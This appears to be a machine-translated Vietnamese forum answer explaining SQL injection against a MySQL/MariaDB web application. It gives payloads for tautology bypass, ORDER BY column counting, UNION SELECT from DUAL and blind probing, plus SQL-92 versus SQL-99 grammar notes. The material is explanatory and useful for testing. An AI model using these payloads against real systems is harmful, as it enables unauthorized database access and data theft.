Ok, hãy vui vẻ đi.
Khi tôi xem thông báo lỗi
Giả sử rằng truy vấn và mã trong ứng dụng ít nhiều giống như giả này, @o
thực tế là một biến người dùng MySQL ..
SELECT
*
FROM
DUMMY_TABLE
WHERE
DUMMY_TABLE.o = '",@o,"'
LIMIT 10
Tôi sẽ sử dụng một SQL fiddle khoảng trắng để mô phỏng thử nghiệm chèn SQL và nhiều quyền truy cập có thể hơn vào các bảng khác.
Bạn có thể kiểm tra tiêm của mình bằng 1' OR 1 = 1#
hoặc 1' OR 1 = 1--
cả hai đều hoạt động và sẽ cung cấp cho bạn cùng một kết quả khi bạn sử dụng 1
làm đầu vào. Điều này là do MariaDB tự động đang truyền các loại cho các cơ sở dữ liệu khác mà bạn có thể cần sử dụng phiên bản nghiêm ngặt hơn 1' OR '1' = '1#
Cái nào sẽ tạo ra
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10
Hoặc
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10
Sau đó, vì bạn thấy lỗi trong ứng dụng, bạn có thể sử dụng ORDER BY 1
để kiểm tra xem có bao nhiêu cột được chọn và tăng số lượng cho đến khi bạn gặp lỗi.
Lỗi:ER_BAD_FIELD_ERROR:Cột '2' không xác định trong 'mệnh đề đơn hàng'
Tiêm bằng
1' ORDER BY 1#
hoặc 1' ORDER BY 1--
Có nghĩa là sắp xếp trên cột đầu tiên trong tập kết quả KHÔNG sắp xếp 1
theo nghĩa đen.
Tạo
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10
Hoặc
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10
Khi bạn biết các cột, bạn có thể sử dụng UNION
để vào các bảng khác. Sử dụng NULL
nếu bạn không cần tất cả các cột.
tiêm
1' UNION ALL SELECT NULL FROM DUAL#
Lưu ý rằng DUAL
là một bảng "ảo" không tồn tại trong MariaDB, MySQL và Oracle, nếu bạn có thể truy vấn "bảng" này, điều đó có nghĩa là về mặt kỹ thuật, bạn cũng có thể truy cập vào các bảng khác.
SQL được tạo
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10
Và nếu trang web được thiết kế dưới dạng trang "chi tiết" nơi một bản ghi luôn hiển thị, bạn cần thêm LIMIT 1, 1
trong mũi tiêm của bạn.
Điều gì sẽ xảy ra nếu không có lỗi nào hiển thị trong ứng dụng web, bạn sẽ chỉ có thể mù quáng bruteforce geuss với việc tiêm SQL mù và xem ứng dụng hoạt động như thế nào.
Cũng thử những thứ như ?o=0
, ?o=NULL
hoặc một số rất cao như giá trị INT tối đa (Đã ký) ?o=2147483647
hoặc (chưa dấu) ?o=4294967295
trước khi cố gắng thực thi số cột đã sử dụng để bạn biết cách ứng dụng xử lý các bản ghi không thể tìm thấy. Bởi vì nó rất khó có id 0
hoặc các số cao đó trên INT
kiểu dữ liệu, vì ứng dụng sẽ ngừng hoạt động nếu số cuối cùng được cung cấp. Nếu bạn vẫn nhận được bản ghi với các số cao đó, hãy sử dụng các giá trị tối đa cho BIGINT
kiểu dữ liệu thay thế.
Đối với cột 1, cùng một kết quả, id o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
Đối với cột 2 sẽ bị lỗi nhưng hầu hết có khả năng bạn sẽ thấy trang lỗi hoặc thông báo không tìm thấy bản ghi.
Hoặc trạng thái lỗi HTTP 404 (Không tìm thấy).
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
Một sự cố bạn có thể gặp phải khi sử dụng LIMIT
mà không sử dụng ORDER BY
có thể là cơ hội nhận được các bản ghi giống nhau vì tiêu chuẩn SQL đã xác định rằng các bảng / tập kết quả SQL là không có thứ tự mà không sử dụng ORDER BY
Vì vậy, lý tưởng nhất là bạn cần tiếp tục sử dụng ORDER BY 1
trong bruteforces.
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
Và
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
Cơ sở dữ liệu hỗ trợ cho ORDER BY 1
tốt hơn thì tôi đã nghĩ lúc đầu vì nó hoạt động trong MySQL, MariaDB, SQL Server (MSSQL) và PostgreSQL.
Đồng thời ORDER BY 1
là một tính năng của SQL 92 đã bị loại bỏ trong SQL 99.
Vì vậy, thực tế cơ sở dữ liệu SQL không nên thực thi ORDER BY 1
hơn nữa nếu họ tuân theo các tiêu chuẩn SQL về điểm này.
SQL 92 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
| <unsigned integer> # <- here it is
<ordering specification> ::= ASC | DESC
so với SQL 1999 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
# <- missing
<ordering specification> ::= ASC | DESC